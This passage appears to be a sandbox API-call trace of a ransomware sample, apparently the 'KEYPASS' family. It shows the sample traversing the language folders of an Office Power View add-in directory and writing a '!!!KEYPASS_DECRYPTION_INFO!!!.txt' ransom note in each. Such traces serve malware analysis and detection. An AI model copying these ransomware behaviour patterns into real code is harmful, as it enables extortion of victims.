Add-in\\sv\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.785] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sv\\PowerViewRes.sv.xap") returned=".xap" [0251.785] FindNextFileW (in: hFindFile=0x39875b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.785] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.785] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.785] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.785] GetLastError () returned 0x3f0 [0251.785] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.785] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\th\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0251.803] GetFileType (hFile=0x84c) returned 0x1 [0251.803] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.803] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.803] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.803] WriteFile (in: hFile=0x84c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.804] WriteFile (in: hFile=0x84c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.804] CloseHandle (hObject=0x84c) returned 1 [0251.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39873b8 [0251.804] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.804] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.804] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.804] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.804] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\AdHocReportingExcelClient.dll") returned=".dll" [0251.804] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.804] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.804] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.805] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.805] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.805] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.805] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\th\\PowerViewRes.th.xap") returned=".xap" [0251.805] FindNextFileW (in: hFindFile=0x39873b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.805] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.805] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.805] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.805] GetLastError () returned 0x3f0 [0251.805] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.805] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\tr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0251.821] GetFileType (hFile=0x848) returned 0x1 [0251.822] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.822] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.822] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.822] WriteFile (in: hFile=0x848, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.823] WriteFile (in: hFile=0x848, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.823] CloseHandle (hObject=0x848) returned 1 [0251.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39877b8 [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.824] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.824] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\AdHocReportingExcelClient.dll") returned=".dll" [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.824] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.824] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.824] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.824] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.824] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap") returned=".xap" [0251.824] FindNextFileW (in: hFindFile=0x39877b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.824] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.825] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.825] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.825] GetLastError () returned 0x3f0 [0251.825] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.825] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\uk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0251.847] GetFileType (hFile=0x850) returned 0x1 [0251.847] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.847] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.847] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.847] WriteFile (in: hFile=0x850, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.848] WriteFile (in: hFile=0x850, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.848] CloseHandle (hObject=0x850) returned 1 [0251.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987438 [0251.849] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.849] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.849] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\AdHocReportingExcelClient.dll") returned=".dll" [0251.849] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.849] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.850] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.850] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.850] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap") returned=".xap" [0251.850] FindNextFileW (in: hFindFile=0x3987438, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.850] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.850] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.850] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.850] GetLastError () returned 0x3f0 [0251.850] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.850] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\vi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0251.876] GetFileType (hFile=0x854) returned 0x1 [0251.876] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.876] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.876] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.876] WriteFile (in: hFile=0x854, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.877] WriteFile (in: hFile=0x854, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.877] CloseHandle (hObject=0x854) returned 1 [0251.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987778 [0251.877] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.877] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.878] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\AdHocReportingExcelClient.dll") returned=".dll" [0251.878] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.878] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.878] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.878] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.878] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\PowerViewRes.vi.xap") returned=".xap" [0251.878] FindNextFileW (in: hFindFile=0x3987778, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.878] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.878] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.878] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.878] GetLastError () returned 0x3f0 [0251.878] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.878] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-chs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0251.976] GetFileType (hFile=0x85c) returned 0x1 [0251.976] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.976] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.976] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.976] WriteFile (in: hFile=0x85c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.977] WriteFile (in: hFile=0x85c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.977] CloseHandle (hObject=0x85c) returned 1 [0251.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987578 [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.978] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.978] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\AdHocReportingExcelClient.dll") returned=".dll" [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.978] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.978] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.978] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.978] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.978] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap") returned=".xap" [0251.978] FindNextFileW (in: hFindFile=0x3987578, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.978] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.978] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 